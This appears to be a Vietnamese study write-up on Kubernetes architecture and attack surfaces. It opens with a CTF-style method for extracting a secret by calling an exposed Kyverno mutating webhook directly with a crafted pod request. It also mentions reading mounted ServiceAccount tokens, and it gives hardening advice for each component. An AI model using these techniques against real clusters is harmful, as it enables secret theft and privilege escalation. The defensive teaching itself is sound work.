Thông thường, người dùng muốn lấy Flag thì phải có quyền dùng lệnh kubectl để tạo một Pod thật trong namespace sensitive-ns, sau đó vào Pod đó để đọc biến môi trường. Nhưng ở đây, bạn không có quyền tạo Pod thật.

Kyverno hoạt động dựa trên cơ chế Mutating Webhook (một dịch vụ mạng chạy ngầm). Khi có yêu cầu tạo Pod, Kubernetes API Server sẽ gửi một gói tin dữ liệu cấu hình (dạng JSON) đến Webhook này của Kyverno để nó chỉnh sửa.

Cái sai nghiêm trọng của người quản trị ở đây là: Họ mở dịch vụ Webhook này (https://kyverno-svc.kyverno/mutate) cho tất cả các Pod nội bộ truy cập mà không hề cấu hình tường lửa mạng (Network Policy) hay xác thực mTLS để chặn lại.

1. Gửi cấu hình nháp: Bạn dùng lệnh curl để gửi một file JSON cấu hình nháp (pod.json) giả vờ như đang muốn tạo một Pod trong namespace sensitive-ns thẳng tới cổng dịch vụ của Kyverno.

2. Kyverno bị lừa: Kyverno nhận được gói tin, không hề kiểm tra xem ai gửi, cứ thấy có yêu cầu tạo Pod ở sensitive-ns là nó tự động làm theo lập trình: Chèn ngay đoạn mã chứa Flag vào cấu hình rồi gửi trả ngược lại cho bạn.

3. Lấy Flag: Đoạn mã chứa Flag trả về được mã hóa dưới dạng Base64 để bảo toàn cấu trúc dữ liệu, bạn chỉ cần mang chuỗi đó đi giải mã (base64 -d) là nhìn thấy Flag lộ ra rõ mồm một.

Trong các hệ thống hiện đại, ứng dụng thường không còn được triển khai dưới dạng một khối duy nhất trên một máy chủ cố định. Thay vào đó, chúng được chia nhỏ thành nhiều service, đóng gói dưới dạng container và chạy trên nhiều máy chủ khác nhau. Cách tiếp cận này giúp ứng dụng dễ triển khai, dễ mở rộng và linh hoạt hơn, nhưng đồng thời cũng tạo ra một bài toán mới: làm thế nào để quản lý hàng chục, hàng trăm hoặc thậm chí hàng nghìn container một cách ổn định?

Kubernetes, thường được viết tắt là K8s, là một nền tảng mã nguồn mở dùng để điều phối container. Nó giúp tự động hóa các công việc như triển khai ứng dụng, phân bổ tài nguyên, mở rộng số lượng instance, cân bằng tải, tự phục hồi khi container gặp lỗi và quản lý vòng đời của workload trong môi trường phân tán.

Kubernetes trở nên phổ biến vì nó giải quyết được nhiều vấn đề cốt lõi khi vận hành ứng dụng container hóa ở quy mô lớn. Thay vì phải tự chọn máy chủ để chạy container, tự restart khi lỗi, tự cấu hình load balancing hoặc tự scale thủ công, người vận hành chỉ cần khai báo trạng thái mong muốn của hệ thống. Kubernetes sẽ chịu trách nhiệm đưa trạng thái thực tế của cluster về gần nhất với trạng thái đã khai báo.

So với việc chạy container thủ công bằng Docker trên từng máy chủ riêng lẻ, Kubernetes cung cấp một lớp điều phối mạnh hơn nhiều. Nó không chỉ chạy container, mà còn quản lý scheduling, networking, service discovery, storage, secret, rollout/rollback và khả năng tự phục hồi. Đây là lý do Kubernetes trở thành nền tảng tiêu chuẩn trong nhiều hệ thống cloud-native, microservices, DevOps và CI/CD hiện nay.

Tầm quan trọng của Kubernetes không chỉ nằm ở khả năng vận hành ứng dụng, mà còn nằm ở việc nó trở thành lớp hạ tầng trung tâm của nhiều hệ thống hiện đại. Một cluster Kubernetes có thể chứa nhiều ứng dụng quan trọng, dữ liệu nhạy cảm, thông tin xác thực, service nội bộ và quyền truy cập tới hạ tầng bên dưới. Vì vậy, nếu Kubernetes bị cấu hình sai hoặc bị tấn công, hậu quả có thể không chỉ dừng lại ở một container riêng lẻ mà có thể ảnh hưởng tới toàn bộ cluster.

Chính vì vậy, để nghiên cứu các kỹ thuật tấn công và leo thang đặc quyền trong Kubernetes, trước tiên cần hiểu rõ kiến trúc và vai trò của từng thành phần trong cluster. Đây là nền tảng để phân tích attacker có thể xâm nhập từ đâu, lạm dụng quyền như thế nào và cần áp dụng các cơ chế phòng thủ nào để bảo vệ hệ thống.

II. Tìm hiểu về kiến trúc K8S

Kubernetes là một hệ thống điều phối container mã nguồn mở được sử dụng rộng rãi ,giúp giảm tải công việc khi tự động triển khai ,thu phóng hoặc quản lý container trong các hệ thống phân tán .

Về ý tưởng thì K8S tạo ra 1 platform để chạy các container trên các máy chủ (Baremental hoặc VM ) mà việc cấp pháp và quản lý tài nguyên do K8S đảm nhiệm

Như hình ảnh bạn thấy ở trên thì một Kubernetes sẽ bao gồm 2 phần chính là Control Plane và Worker Nodes . Control Plane đóng vai trò là bộ não của cluster , chịu trách nhiệm quản lý , điều phối và duy trì trạng thái mong muốn của hệ thống . Cùng vào đó thì các Worker nodes chịu trách nhiệm là nơi cùng cấp tài nguyên cho các ứng dụng container hóa dưới dạng Pods.

II. Các thành phần trong Control Plane

Sau khi hiểu tổng quan rằng một Kubernetes cluster gồm Control Plane và Worker Nodes, ta sẽ đi sâu hơn vào từng thành phần bên trong. Mỗi thành phần có một vai trò riêng, nhưng chúng phối hợp với nhau để đảm bảo ứng dụng luôn chạy đúng trạng thái mong muốn.

Control plane

Control Plane nói đơn giản như nó là 1 trung tâm điều khiển của K8S cluster . Nó không trực tiếp chạy ứng dụng mà chịu trực tiếp quản lí toàn bộ trạng thái của cluster , đưa ra quyết định và phản ứng khi có sự cố xảy ra .

Ví dụ, khi bạn tạo một Deployment với 3 replicas, Control Plane sẽ đảm bảo luôn có 3 Pods đang chạy. Nếu một Pod bị lỗi hoặc một Node gặp sự cố, Control Plane sẽ phát hiện và yêu cầu tạo Pod mới ở nơi phù hợp.

Các thành phần chính của Control Plane bao gồm

1. API Server

kube-apiserver là thành phần trung tâm của Kubernetes Control Plane. Nếu xem Kubernetes cluster như một hệ thống phân tán gồm nhiều thành phần khác nhau, thì API Server chính là cổng giao tiếp chính để tất cả các thành phần đó làm việc với nhau.

Mọi thao tác với Kubernetes gần như đều đi qua API Server. Khi người dùng chạy kubectl, khi dashboard gửi request, khi CI/CD pipeline deploy ứng dụng, hoặc khi các component nội bộ như scheduler, controller-manager, kubelet cần cập nhật trạng thái, tất cả đều giao tiếp thông qua Kubernetes API.

Có thể hiểu đơn giản:

kube-apiserver là entry point của Kubernetes cluster. Nó tiếp nhận request, kiểm tra request có hợp lệ và có được phép thực hiện hay không, sau đó ghi nhận trạng thái mới vào etcd.

Một điểm quan trọng là API Server không tự chạy container và cũng không tự quyết định Pod chạy ở Node nào. Nó đóng vai trò như lớp trung gian điều phối request và lưu trạng thái. Các thành phần khác sẽ quan sát trạng thái trong cluster thông qua API Server rồi thực hiện nhiệm vụ của mình.

Ví dụ, khi ta chạy lệnh:

kubectl apply -f nginx-deployment.yaml

Luồng xử lý ở mức high level sẽ như sau:

kubectl gửi request đến kube-apiserver
        ↓
kube-apiserver xác thực danh tính người gửi request
        ↓
kube-apiserver kiểm tra người đó có quyền thực hiện hành động hay không
        ↓
Admission Controller kiểm tra hoặc chỉnh sửa object trước khi lưu
        ↓
kube-apiserver ghi trạng thái mong muốn vào etcd
        ↓
Các component khác như scheduler/controller/kubelet quan sát thay đổi này
        ↓
Cluster dần đưa trạng thái thực tế về đúng trạng thái mong muốn

Hình ảnh minh họa : https://iximiuz.com/en/posts/kubernetes-api-how-to-extend/

API Server xử lý request như thế nào?

Một request gửi tới Kubernetes API Server thường đi qua các bước quan trọng sau:

1. Authentication - xác thực danh tính

API Server cần biết request này đến từ ai. Danh tính đó có thể là user, admin, service account, hoặc một component nội bộ trong cluster.

Một số cơ chế authentication phổ biến gồm:

• X.509 client certificate
• Bearer token
• ServiceAccount token
• OIDC token
• Webhook token authentication

Ví dụ, khi một Pod gọi đến API Server, nó thường sử dụng ServiceAccount token được mount vào trong Pod tại đường dẫn:

/var/run/secrets/kubernetes.io/serviceaccount/token

Đây cũng là lý do trong các kịch bản tấn công Kubernetes, sau khi attacker có shell trong Pod, một trong những việc đầu tiên họ thường làm là kiểm tra token này.

2. Authorization - kiểm tra quyền

Sau khi biết request đến từ ai, API Server cần kiểm tra người đó có được phép thực hiện hành động hay không.

Trong Kubernetes, cơ chế authorization phổ biến nhất là RBAC.

Ví dụ:

• User A có được get pods trong namespace default không?
• ServiceAccount B có được create pods không?
• ServiceAccount C có được get secrets không?
• Một account có được create clusterrolebindings hay không?

Các câu hỏi này được trả lời thông qua RBAC rules.

Một lệnh thường dùng để kiểm tra quyền là:

kubectl auth can-i get pods

Hoặc kiểm tra quyền của một ServiceAccount cụ thể:

kubectl auth can-i --list --as=system:serviceaccount:attack-lab:vulnerable-sa

Trong privilege escalation, phần RBAC rất quan trọng vì nhiều attack path bắt đầu từ một ServiceAccount có quyền quá rộng. Ví dụ nếu một ServiceAccount có quyền create pods, get secrets, bind, escalate, impersonate hoặc wildcard *, attacker có thể lạm dụng để leo thang đặc quyền.

3. Admission Control - kiểm tra trước khi object được lưu

Sau authentication và authorization, request còn có thể đi qua Admission Controller.

Admission Controller là lớp kiểm soát cuối cùng trước khi object được lưu vào etcd. Nó có thể:

• Cho phép request
• Từ chối request
• Tự động thêm/sửa một số field trong object

Ví dụ, trong bài toán security, Admission Controller có thể được dùng để chặn các Pod nguy hiểm như:

• Pod chạy với privileged: true
• Pod dùng hostPath để mount filesystem của Node
• Pod bật hostPID, hostIPC, hostNetwork
• Container cho phép allowPrivilegeEscalation: true
• Container chạy bằng user root

Các công cụ như Pod Security Admission, Kyverno hoặc OPA Gatekeeper đều hoạt động ở lớp này để enforce policy.

4. Persist state vào etcd

Nếu request vượt qua các bước kiểm tra, API Server sẽ ghi trạng thái mới vào etcd.

Điểm cần nhớ là Kubernetes vận hành theo mô hình desired state. Người dùng khai báo trạng thái mong muốn, API Server lưu trạng thái đó vào etcd, sau đó các component khác sẽ dần đưa hệ thống về đúng trạng thái mong muốn.

Ví dụ, khi ta tạo Deployment với 3 replicas, thông tin “tôi muốn có 3 Pod” được lưu vào etcd. Sau đó controller-manager, scheduler và kubelet phối hợp để tạo và chạy các Pod tương ứng.

API Server trong cluster local

Nếu cluster được dựng bằng kubeadm, kind hoặc minikube, kube-apiserver thường chạy dưới dạng Pod trong namespace kube-system.

Có thể kiểm tra bằng lệnh:

kubectl get pods -n kube-system

Hoặc lọc riêng API Server:

kubectl get pods -n kube-system -o name | grep apiserver

Trong mô hình kubeadm, manifest của API Server thường nằm tại:

/etc/kubernetes/manifests/kube-apiserver.yaml

Đây là static Pod manifest. Khi file manifest này thay đổi, kubelet trên control plane node sẽ tự động phát hiện và restart static Pod tương ứng.

Góc nhìn bảo mật

API Server là một trong những attack surface quan trọng nhất của Kubernetes. Nếu API Server bị expose sai cách, cấu hình authentication/authorization yếu, hoặc RBAC quá rộng, attacker có thể enumerate tài nguyên, đọc secret, tạo workload độc hại hoặc leo thang lên quyền cao hơn.

Một số rủi ro thường gặp:

• Bật anonymous access không kiểm soát
• RBAC cấp quyền quá rộng cho user hoặc ServiceAccount
• Không bật audit log nên khó điều tra hành vi bất thường
• Admission policy không chặn được Pod nguy hiểm
• API Server bị expose ra Internet hoặc mạng không tin cậy
• Token/kubeconfig bị lộ, cho phép attacker gọi API Server như người dùng hợp lệ

Một số hướng hardening quan trọng:

• Bật RBAC và áp dụng nguyên tắc least privilege
• Hạn chế quyền nguy hiểm như create pods, get secrets, bind, escalate, impersonate, create clusterrolebindings
• Bật Kubernetes audit log để ghi nhận các hành vi nhạy cảm
• Dùng Pod Security Admission hoặc Kyverno để chặn Pod nguy hiểm
• Không expose API Server ra ngoài nếu không cần thiết
• Bảo vệ kubeconfig, ServiceAccount token và certificate
• Xoay vòng credential khi nghi ngờ bị lộ

2. ETCD

etcd là nơi lưu trữ toàn bộ dữ liệu trạng thái cluster dưới dạng key-value store

Các thông tin như Nodes , Pods, Services, Config Maps , Secrets, Deployment,… đều được lưu trong etcd.

Ví dụ , khi bạn tạo một Deployment , thông tin về Deployment đó sẽ được lưu vào etcd. Sau đó các thành phần khác của Control Planel sẽ đọc trạng thái này và thực hiện các hoạt động cần thiết để biến trạng thái mong muốn thành thực tế . Mọi thông tin khi bạn sử dụng lệnh kubectl để truy xuất đều từ etcd data store.

Vì etcd lưu dữ liệu quan trọng của cluster , nên nó thường cần có cơ chế backup trong môi trường production.

Tùy thuộc và cách bạn setup cluster , etcd thì setup theo kiểu khác. Bạn có thể setup etcd from scatch sử dụng binary hoặc có thể deploy etcd bằng cách sử dụng kubeadm,minikube,k3s tools, . Dưới đây là case mà etcd được deploy dưới dạng Pod nằm trong kubesystem namspace .

Xem etcd pod

Lưu etcd pod name trong biến môi trường

Xem rõ hơn về thông tin về Pod để biết được thiết lập ở trong etcd datastore

kubectl describe pod $ETCDPODNAME -n kube-system

Nhìn vào output của pod etcd ở trên, ta có thể thấy etcd đang chạy trong namespace kube-system với tên pod là etcd-control-plane-o3n9bb2t. Phần quan trọng cần chú ý là cấu hình --advertise-client-urls.

Đây chính là endpoint mà etcd dùng để lắng nghe kết nối từ Kubernetes API Server. Port 2379 là port mặc định dành cho client của etcd. Vì vậy, khi kiểm tra cấu hình của API Server, flag –etcd-servers cũng sẽ trỏ tới cùng địa chỉ này.

Ta có thể lưu endpoint này vào biến môi trường để sử dụng ở các bước tiếp theo:

Sau khi chạy lệnh echo, nếu terminal in ra đúng giá trị https://172.31.3.83:2379 thì biến môi trường đã được thiết lập thành công.

Tiếp theo , chúng ta biết etcd sử dụng dạng lưu trữ key:value vậy nên chúng ta cũng có thể liệt kê được các key lưu trữ sau bằng cách chạy dòng lệnh này

Root path trong etcd chính thường được sử dụng là /registry. Bên dưới /registry, Kubernetes lưu nhiều loại tài nguyên khác nhau như pods, replicasets, deployments, services, secrets, configmaps, v.v.

Lấy thông tin chi tiết về Pod

Vì sao etcd nhạy cảm?

etcd rất nhạy cảm vì nó lưu toàn bộ trạng thái cluster. Nếu attacker đọc được etcd, họ có thể thu thập nhiều thông tin quan trọng như:

• Secret của ứng dụng
• Token hoặc credential được lưu trong Secret
• Cấu hình hệ thống
• Danh sách ServiceAccount
• RBAC rules
• Thông tin về workload, namespace và service nội bộ

Đặc biệt, Kubernetes Secret không phải là cơ chế mã hóa mạnh theo mặc định ở tầng object. Secret thường được biểu diễn dưới dạng base64 trong manifest. Base64 chỉ là encoding, không phải encryption.

Trong production, để bảo vệ Secret trong etcd, cần bật encryption at rest cho Kubernetes Secret. Khi đó dữ liệu Secret trước khi lưu vào etcd sẽ được mã hóa bằng encryption provider phù hợp.

Nói chính xác hơn:

Kubernetes Secret được encode base64 khi biểu diễn dưới dạng YAML/JSON. Việc Secret có được mã hóa khi lưu trong etcd hay không phụ thuộc vào cấu hình encryption at rest của cluster.

etcd và attack path

Trong một số kịch bản tấn công, attacker có thể nhắm tới etcd theo các hướng sau:

• etcd port 2379 bị expose ra network không tin cậy
• etcd không yêu cầu TLS client certificate đúng cách
• attacker chiếm được control plane node và đọc được certificate của etcd
• attacker tạo privileged pod hoặc hostPath pod để đọc filesystem trên control plane node
• attacker có quyền exec vào etcd pod trong namespace kube-system

Nếu attacker đọc được etcd trực tiếp, họ có thể bỏ qua API Server và RBAC. Đây là worst case vì các lớp kiểm soát như authentication, authorization, admission control không còn phát huy tác dụng ở đường truy cập trực tiếp này.

Một số hướng hardening quan trọng:

• Không expose etcd ra Internet hoặc mạng không tin cậy
• Chỉ cho API Server và thành phần cần thiết truy cập etcd
• Bật TLS cho etcd client/server communication
• Bật encryption at rest cho Kubernetes Secret
• Phân quyền chặt chẽ trên control plane node
• Bảo vệ certificate tại /etc/kubernetes/pki/etcd/
• Mã hóa và kiểm soát truy cập backup etcd
• Theo dõi log và network connection bất thường tới port 2379

Backup và khôi phục etcd

Vì etcd lưu toàn bộ trạng thái cluster, backup etcd là một phần rất quan trọng trong vận hành Kubernetes production.

Nếu etcd bị mất dữ liệu hoặc corrupt, cluster có thể mất trạng thái về workload, service, secret, RBAC và nhiều object khác. Vì vậy, production cluster thường cần:

• Backup etcd định kỳ
• Kiểm tra khả năng restore từ backup
• Bảo vệ file backup vì backup cũng có thể chứa Secret
• Mã hóa backup và giới hạn quyền truy cập backup

Điểm dễ bị bỏ qua là: backup etcd cũng nhạy cảm gần như etcd thật. Nếu attacker lấy được backup, họ có thể phân tích offline để tìm secret, token và cấu hình quan trọng.

Trong privilege escalation, etcd có thể được trình bày như một mục tiêu có giá trị cao. Attack path chính của mình không nhất thiết phải demo chiếm etcd trực tiếp, nhưng cần giải thích rõ rằng nếu attacker có thể truy cập etcd hoặc đọc backup etcd, họ có thể thu thập dữ liệu cực kỳ nhạy cảm và làm suy yếu toàn bộ cluster.

3. Scheduler

Scheduler không trực tiếp chạy container và cũng không tạo container. Nhiệm vụ chính của nó là ra quyết định Pod nên được chạy trên Node nào. Sau khi Scheduler chọn được Node phù hợp, thông tin này sẽ được cập nhật lại vào Pod object thông qua API Server. Lúc đó kubelet trên Node được chọn mới nhận nhiệm vụ thực sự chạy Pod.

Có thể hiểu đơn giản:

kube-scheduler giống như bộ phận điều phối tài nguyên trong cluster. Nó nhìn vào yêu cầu của Pod và tình trạng của các Node, sau đó chọn nơi phù hợp nhất để đặt Pod.

Khi chọn Node cho Pod, Scheduler thường trải qua hai giai đoạn chính là Filtering và Scoring.

Filtering là bước loại bỏ các Node không đủ điều kiện để chạy Pod.

Ví dụ, nếu Pod yêu cầu 2 CPU nhưng một Node chỉ còn 1 CPU khả dụng thì Node đó sẽ bị loại. Tương tự, nếu Pod yêu cầu chạy trên Node có label cụ thể nhưng Node không có label đó thì Node cũng không được chọn.

Một số yếu tố thường được xem xét trong bước filtering gồm:

• CPU và memory còn trống trên Node
• nodeSelector
• Node affinity hoặc anti-affinity
• Taints và tolerations
• Volume binding
• Trạng thái Node có healthy hay không

Scoring là bước chấm điểm các Node còn lại sau khi đã filtering.

Sau khi loại bỏ các Node không phù hợp, Scheduler sẽ xếp hạng các Node còn lại. Node nào phù hợp hơn sẽ có điểm cao hơn. Ví dụ, Scheduler có thể ưu tiên Node còn nhiều tài nguyên hơn hoặc Node giúp phân tán Pod đều hơn trong cluster.

Cuối cùng, Node có điểm cao nhất sẽ được chọn để chạy Pod.

Ví dụ kiểm tra Scheduler trong cluster

Tạo một Pod đơn giản:

kubectl run mypod --image=nginx

Kiểm tra Pod đang chạy trên Node nào:

kubectl get pod mypod -o wide

Kiểm tra Pod được schedule bởi scheduler nào:

kubectl get pod mypod -o jsonpath='{.spec.schedulerName}'

Thông thường kết quả sẽ là:

default-scheduler

Xem chi tiết event của Pod:

kubectl describe pod mypod

Trong phần Events, ta có thể thấy thông tin Pod đã được schedule lên Node nào. Đây là cách dễ nhất để quan sát quá trình scheduling trong lab.

Nếu cluster được dựng bằng kubeadm, kind hoặc minikube, kube-scheduler thường chạy dưới dạng Pod trong namespace kube-system.

kubectl get pods -n kube-system | grep scheduler

Trong mô hình kubeadm, manifest của Scheduler thường nằm tại:

/etc/kubernetes/manifests/kube-scheduler.yaml

Port mặc định của kube-scheduler là 10259.

Góc nhìn bảo mật

So với API Server, etcd hoặc kubelet, Scheduler thường không phải là attack surface trực tiếp phổ biến nhất. Tuy nhiên, scheduling vẫn liên quan đến bảo mật vì nó quyết định workload được đặt ở đâu trong cluster.

Một số rủi ro có thể xảy ra nếu attacker có quyền tạo hoặc chỉnh sửa Pod:

• Attacker có thể dùng nodeSelector, nodeName, affinity hoặc tolerations để ép Pod chạy trên một Node cụ thể.
• Nếu Pod được schedule lên Node nhạy cảm, attacker có thể tăng khả năng tiếp cận workload hoặc tài nguyên quan trọng trên Node đó.
• Nếu Pod được phép dùng cấu hình nguy hiểm như hostPath, hostPID, hostNetwork hoặc privileged, việc Pod được đặt lên Node quan trọng có thể dẫn tới rủi ro chiếm quyền trên Node.
• Nếu taints/tolerations cấu hình lỏng lẻo, workload không đáng tin cậy có thể chạy trên Node vốn dùng cho workload quan trọng.

Vì vậy, khi hardening Kubernetes, cần kết hợp scheduling control với các lớp bảo vệ khác:

• Hạn chế quyền tạo/sửa Pod bằng RBAC least privilege.
• Dùng Pod Security Admission hoặc Kyverno để chặn Pod nguy hiểm.
• Dùng taints/tolerations để cô lập Node quan trọng.
• Quản lý chặt quyền chỉnh sửa label của Node.
• Dùng NetworkPolicy để giảm rủi ro lateral movement sau khi Pod đã được schedule.

4. Controller

Kube Controller hay còn được gọi là Controller manager là một thành phần thuộc Control Plane, chịu trách nhiệm chạy nhiều controller khác nhau bên trong Kubernetes.

Nếu API Server là nơi tiếp nhận request, etcd là nơi lưu trạng thái, Scheduler là nơi quyết định Pod chạy ở Node nào, thì Controller Manager là thành phần liên tục theo dõi trạng thái hiện tại của cluster và cố gắng đưa nó về đúng trạng thái mong muốn.

Có thể hiểu đơn giản:

Controller Manager là cơ chế tự động sửa sai của Kubernetes. Nó liên tục so sánh trạng thái hiện tại với trạng thái mong muốn, nếu thấy lệch thì thực hiện hành động để đưa cluster về đúng trạng thái đã khai báo.

Ví dụ, khi ta tạo một Deployment với 3 replicas, trạng thái mong muốn là luôn có 3 Pod chạy. Nếu một Pod bị lỗi hoặc bị xóa, Deployment Controller sẽ phát hiện hiện tại chỉ còn 2 Pod, sau đó tạo thêm 1 Pod mới để quay lại đúng 3 replicas.

Quy trình hoạt động ở mức high level:

User khai báo desired state
        ↓
kube-apiserver lưu desired state vào etcd
        ↓
Controller Manager quan sát trạng thái qua API Server
        ↓
Phát hiện actual state khác desired state
        ↓
Controller tạo/sửa/xóa object cần thiết
        ↓
Cluster dần quay về trạng thái mong muốn

Trong Kubernetes, controller không chỉ có một loại. kube-controller-manager thực chất chạy nhiều controller khác nhau, mỗi controller phụ trách một nhóm nhiệm vụ riêng.

Một số controller phổ biến gồm:

• Node Controller: theo dõi trạng thái Node, phát hiện Node bị down hoặc không phản hồi.
• Deployment Controller: đảm bảo số lượng Pod của Deployment đúng với số replicas đã khai báo.
• ReplicaSet Controller: duy trì số lượng Pod replica theo yêu cầu.
• Job Controller: quản lý các Job chạy một lần hoặc chạy đến khi hoàn thành.
• EndpointSlice Controller: cập nhật danh sách endpoint phía sau Service.
• ServiceAccount Controller: đảm bảo ServiceAccount mặc định tồn tại trong namespace.
• Token Controller: xử lý một số logic liên quan đến token/secret của ServiceAccount trong các cơ chế token nhất định.

Ví dụ thực tế:

kubectl create deployment nginx --image=nginx --replicas=3

Sau khi chạy lệnh trên, API Server lưu Deployment object vào etcd. Deployment Controller sẽ phát hiện có một Deployment mới cần 3 replicas, sau đó tạo ReplicaSet và các Pod tương ứng. Nếu sau đó ta xóa một Pod:

kubectl delete pod <pod-name>

Controller sẽ tự động tạo Pod mới để đảm bảo Deployment vẫn có đủ 3 replicas.

Nếu cluster được dựng bằng kubeadm, kube-controller-manager thường chạy dưới dạng static Pod trong namespace kube-system.

kubectl get pods -n kube-system | grep controller-manager

Manifest thường nằm tại:

/etc/kubernetes/manifests/kube-controller-manager.yaml

Một số flag đáng chú ý của controller-manager:

--service-account-private-key-file
--root-ca-file
--cluster-signing-cert-file
--cluster-signing-key-file
--use-service-account-credentials

Các flag này liên quan đến certificate, ServiceAccount token và credential mà controller sử dụng để giao tiếp với API Server.

Góc nhìn bảo mật

Controller Manager liên quan tới bảo mật vì nó có quyền tạo, sửa, xóa nhiều loại tài nguyên trong cluster. Nếu credential của controller-manager bị lộ hoặc component này bị compromise, attacker có thể tác động mạnh đến trạng thái cluster.

Một số rủi ro cần chú ý:

• Credential/certificate của controller-manager bị lộ trên control plane node.
• Controller chạy với quyền quá rộng hoặc dùng chung credential không cần thiết.
• ServiceAccount token signing key bị lộ, attacker có thể tạo token giả trong một số mô hình cấu hình nhất định.
• Custom controller/operator bên thứ ba được cài vào cluster nhưng dùng ServiceAccount có quyền quá rộng.

Trong thực tế, rủi ro thường gặp không chỉ nằm ở kube-controller-manager mặc định của Kubernetes mà còn nằm ở các custom controller/operator. Nhiều Helm chart hoặc operator được cài vào cluster với quyền rất cao, ví dụ quyền tạo Pod, đọc Secret hoặc quản lý tài nguyên trên toàn cluster. Nếu operator đó có lỗ hổng hoặc bị compromise, attacker có thể lợi dụng ServiceAccount của operator để leo thang đặc quyền.

Một số hướng hardening:

• Bảo vệ control plane node và thư mục chứa certificate/key.
• Bật --use-service-account-credentials để mỗi controller dùng credential riêng thay vì dùng một credential chung quá rộng.
• Kiểm tra RBAC của các controller/operator bên thứ ba.
• Không cài operator/Helm chart không rõ nguồn gốc vào cluster production.
• Dùng audit log để theo dõi các hành động bất thường như tạo ClusterRoleBinding, đọc Secret hàng loạt, tạo privileged Pod.

cloud-controller-manager

cloud-controller-manager là thành phần dùng khi Kubernetes cluster tích hợp với hạ tầng cloud provider như AWS, Google Cloud, Azure hoặc OpenStack.

Trong các cluster chạy local bằng kind, minikube hoặc các môi trường on-premise đơn giản, có thể không cần cloud-controller-manager. Nhưng trong môi trường cloud, thành phần này giúp Kubernetes giao tiếp với hạ tầng bên ngoài.

Một số nhiệm vụ phổ biến của cloud-controller-manager:

• Tạo hoặc cập nhật Load Balancer trên cloud khi dùng Service type LoadBalancer.
• Kiểm tra trạng thái VM/Node từ cloud provider.
• Quản lý route mạng trong cloud.
• Gắn metadata hoặc thông tin cloud vào Node object.
• Tích hợp với storage hoặc network provider của cloud.

Ví dụ, khi ta tạo Service kiểu LoadBalancer:

apiVersion: v1
kind: Service
metadata:
  name: web-service
spec:
  type: LoadBalancer
  selector:
    app: web
  ports:
    - port: 80
      targetPort: 80

Trong môi trường cloud, cloud-controller-manager có thể gọi API của cloud provider để tạo một load balancer thật bên ngoài, sau đó cập nhật địa chỉ IP/DNS của load balancer vào Service object trong Kubernetes.

Góc nhìn bảo mật

cloud-controller-manager là cầu nối giữa Kubernetes và cloud provider, nên nếu cấu hình sai, rủi ro không chỉ nằm trong cluster mà có thể lan sang hạ tầng cloud.

Một số rủi ro cần chú ý:

• Credential cloud provider bị lộ.
• Service type LoadBalancer expose ứng dụng ra Internet ngoài ý muốn.
• Cloud IAM role cấp quyền quá rộng cho Kubernetes component.
• Attacker có quyền tạo Service có thể làm lộ workload nội bộ ra bên ngoài nếu không có policy kiểm soát.
• Metadata service của cloud có thể bị Pod truy cập nếu không được chặn, dẫn đến lộ cloud credential trong một số môi trường.

Một số hướng hardening:

• Áp dụng least privilege cho cloud IAM role dùng bởi cluster.
• Kiểm soát quyền tạo Service type LoadBalancer.
• Dùng policy/admission controller để chặn expose service nhạy cảm.
• Giới hạn network egress từ Pod tới cloud metadata endpoint nếu không cần.
• Theo dõi các thay đổi bất thường liên quan tới LoadBalancer, Ingress và public IP.

Worker Nodes

Nếu Control Plane là nơi quản lý và đưa ra quyết định, thì Worker Nodes là nơi thực sự chạy ứng dụng.

Mỗi Worker Node cung cấp tài nguyên như CPU, RAM, network và storage để chạy các Pod. Một cluster có thể có một hoặc nhiều Worker Node tùy vào quy mô hệ thống.

Trên mỗi Worker Node thường có các thành phần chính sau:

• kubelet
• kube-proxy
• Container Runtime
• CNI plugin hoặc thành phần networking khác

Có thể hiểu đơn giản:

Control Plane quyết định cluster nên chạy gì, còn Worker Node là nơi biến quyết định đó thành container đang chạy thật.

1. kubelet

kubelet là agent chạy trên mỗi Node trong Kubernetes cluster.

Nhiệm vụ chính của kubelet là nhận thông tin Pod được gán cho Node của nó, sau đó làm việc với container runtime để pull image, tạo container, mount volume và duy trì trạng thái của Pod.

Ví dụ, sau khi Scheduler quyết định Pod nginx nên chạy trên Node worker-1, kubelet trên worker-1 sẽ nhận thông tin này thông qua API Server. Sau đó kubelet gọi container runtime như containerd để pull image nginx và chạy container.

Luồng xử lý cơ bản:

Scheduler gán Pod vào Node
        ↓
kubelet trên Node đó phát hiện Pod mới
        ↓
kubelet gọi container runtime
        ↓
container runtime pull image và chạy container
        ↓
kubelet theo dõi trạng thái Pod/container
        ↓
kubelet report trạng thái về API Server

Một số nhiệm vụ quan trọng của kubelet:

• Đăng ký Node với Kubernetes cluster.
• Nhận PodSpec từ API Server.
• Đảm bảo container trong Pod chạy đúng như khai báo.
• Mount volume cho Pod.
• Chạy liveness probe, readiness probe, startup probe.
• Báo cáo trạng thái Node, Pod và container về API Server.
• Quản lý static Pod trên Node.

Nếu dùng kubeadm, kubelet thường chạy như một systemd service trên Node, không phải Pod bình thường.

Có thể kiểm tra kubelet bằng:

sudo systemctl status kubelet

Hoặc xem process:

ps aux | grep kubelet

Một số file cấu hình quan trọng:

/etc/kubernetes/kubelet.conf
/var/lib/kubelet/config.yaml

File kubelet.conf chứa thông tin để kubelet xác thực với API Server. Kubelet thường giao tiếp với API Server bằng danh tính dạng:

system:node:<node-name>

và thuộc group:

system:nodes

Một cấu hình rất quan trọng trong kubelet là authentication và authorization.

Ví dụ trong /var/lib/kubelet/config.yaml, cần chú ý các phần như:

authentication:
  anonymous:
    enabled: false

authorization:
  mode: Webhook

anonymous.enabled: false nghĩa là kubelet không chấp nhận request ẩn danh.

authorization.mode: Webhook nghĩa là kubelet sẽ hỏi API Server để kiểm tra request có được phép thực hiện hay không.

Không nên dùng:

authorization.mode: AlwaysAllow

Vì nếu kubelet dùng AlwaysAllow, request tới kubelet có thể được chấp nhận mà không kiểm soát quyền đúng cách.

Static Pod

Một khái niệm quan trọng khi học kubelet là static Pod.

Static Pod là Pod được kubelet quản lý trực tiếp từ file manifest trên Node, thay vì được tạo thông qua API Server như Pod thông thường.

Trong mô hình kubeadm, các component của Control Plane như API Server, Scheduler, Controller Manager thường chạy dưới dạng static Pod. Manifest của chúng nằm trong:

/etc/kubernetes/manifests/

Kubelet sẽ theo dõi thư mục này. Nếu có file manifest mới hoặc manifest bị sửa, kubelet sẽ tự động tạo hoặc restart static Pod tương ứng.

Đây là lý do khi chỉnh file:

/etc/kubernetes/manifests/kube-apiserver.yaml

API Server có thể tự restart sau một khoảng thời gian ngắn.

Góc nhìn bảo mật

